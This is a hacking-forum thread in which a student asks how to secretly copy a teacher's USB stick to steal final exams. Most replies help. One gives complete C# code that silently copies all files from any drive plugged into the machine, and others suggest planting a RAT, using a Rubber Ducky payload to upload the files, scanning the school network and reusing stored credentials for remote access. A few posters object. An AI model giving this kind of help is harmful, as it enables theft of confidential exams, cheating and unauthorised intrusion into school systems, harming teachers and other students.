Thread: [Hey, guys, is it possible to secretly copy a USB flash drive?](#)

bladetest21 - September 9, 2019, 5:24 am

Hey Guys

I know that my teachers have the final exams on the USB stick,
if it is possible I would like to secretly copy the exams.

And now to my question:

Can you write a program on a USB stick that secretly copies the data from a teacher's USB stick to my stick without noticing?

thank you so much for your replies?

PwnedLevel1000 - September 12, 2019, 6:34 pm

yes i can help u but you need to get some hardward items form amazon at total 20 and Ill teach u for free

or you can go the cyber way and do a small phishing attack i made. im not respondable for what u do if you do this

A Llinux machine primed with a DD command

Xogg - September 17, 2019, 9:36 pm

If you could somehow get it plugged into your machine for less than 1 min you could have time to run a python script to copy to your computer. Or vise versa if you could get your USB into his computer, you could run a script to steal it as well.

loomski - September 27, 2019, 9:23 pm

That's kind of creepy. Why would you want to "secretly" copy a USB drive? If it's your own drive, there's no need to secretly copy it. If it's someone else's drive; then what are you some sort of stalker? That's really weird and creepy.

Abruptum - September 28, 2019, 9:22 am

Have you not read the conversation ?

He want to get the exams from a usb stick from one of his teachers.

There are 2 Good ways to make this happening:

1. Hardware fetching (USB Stick -> USB Cable -> Raspberry or arduino -> PC)
2. Software fetching install an Rat or small script on the PC which will copy files to a USB stick or send you an email with all USB data

But anyway, just learn the stuff you need to learn instead of trying to hack some teacher...

Bunnyslippers69 - September 29, 2019, 12:37 pm

This is my take on the problem written in c#

Code using System;

using System.IO;

using System.Management;

namespace USBCloner

{

class Program

{

//@Bunnyslippers69 HackForums\\

static void Main(string[] args)

{

ManagementEventWatcher watcher = new ManagementEventWatcher();

WqlEventQuery query = new WqlEventQuery("SELECT * FROM

Win32_VolumeChangeEvent WHERE EventType = 2");

watcher.EventArrived += new EventArrivedEventHandler(watcher_EventArrived);

watcher.Query = query;

watcher.Start();

watcher.WaitForNextEvent();

Console.ReadLine();

}

static void watcher_EventArrived(object sender, EventArrivedEventArgs e)

{

Console.WriteLine("Copying");

DirectoryInfo source = new

DirectoryInfo(e.NewEvent.Properties["DriveName"].Value.ToString() + @"\");

DirectoryInfo dest = new DirectoryInfo(Directory.GetCurrentDirectory() + @"\cloned");

CopyFilesRecursively(source, dest);

Console.WriteLine("Finished Copying");

}

public static void CopyFilesRecursively(DirectoryInfo source, DirectoryInfo target)

```

    {
        foreach (DirectoryInfo dir in source.GetDirectories())
            CopyFilesRecursively(dir, target.CreateSubdirectory(dir.Name));
        foreach (FileInfo file in source.GetFiles())
            file.CopyTo(Path.Combine(target.FullName, file.Name));
    }

}
}

```

Once a USB stick is plugged in, it'll copy the files to the directory the program was run from.

is_nimda - October 6, 2019, 6:42 am

Why everyone over complex hacks... if you can get the USB for few minutes, just use Belkin USB Anywhere

You plug your USB and the target USB into the hub and press copy and it does the job.

Sorted

Bitcoinearner - October 29, 2019, 2:03 am

nice share ! thank you i will try

Another method. Yes its possible, but you would need to manually execute the script/ exe..

How able gaining access to her computer remotely whilst on the school network..

Get AngryIP scanner and look to see what computers the computer your on can reach.. then see if its ez open to access shares etc.. if not, look for creds stored stupidly on the computer your own.. then elevate to gain remote access, most the time the password is the same on each computer

The above sounds like the best idea.

Hi there even i need help

not with that USB thing but with that remotely hacking of system by using same network

Dart - December 19, 2019, 6:27 pm

Just steal the usb stick from them

Emp3hack - December 20, 2019, 9:10 am

First of all I want to dissuade you (or any other inspired by this brave user) from performing a similar action.

Ask yourself:

- Am I fooling the teacher or just myself?
- Should I cheat all my classmates just for an egoist purpose?
- Is it really worth the risk?

If I were you I would just have some fun with a friend of yours with a similar tricks, it's already so much fun !

Answering your question and avoiding to repeat the already suggested vectors of attack I would say that a similar result can be obtained with a rubber ducky (or similar).

Given that the target has internet access, the advantage is that once the payload is started you could instantly remove the "flash drive" without the need to wait for the whole copy operation to be performed.

In this way you can just upload the target content in your favourite way.

OP literally explained the exact situation in the original post.

Lus3r - March 7, 2020, 8:22 pm

Yes I believe that u can but It requires a script to be on the root of drive for it to work properly.

BlackDarwin - March 8, 2020, 1:12 am

You mean you can physically access your teacher's USB? If so it would just take less than a minute to copy all files manually to yours. No need for any special program!

sapalapa - March 18, 2020, 4:51 pm

You need this tool:

<https://hackforums.net/showthread.php?tid=6058099>

?ClavicusVile - May 13, 2020, 1:04 am

Someone posted a copier way back in Batch, where you plug the flash drive to a computer it would copy everything.

But that works before AutoPlay feature was disabled by default by Windows on newer builds/versions of their OS.

gogglebot - May 14, 2020, 10:45 am

Can we stop grave-robbing this thread? The corpse is long-gone
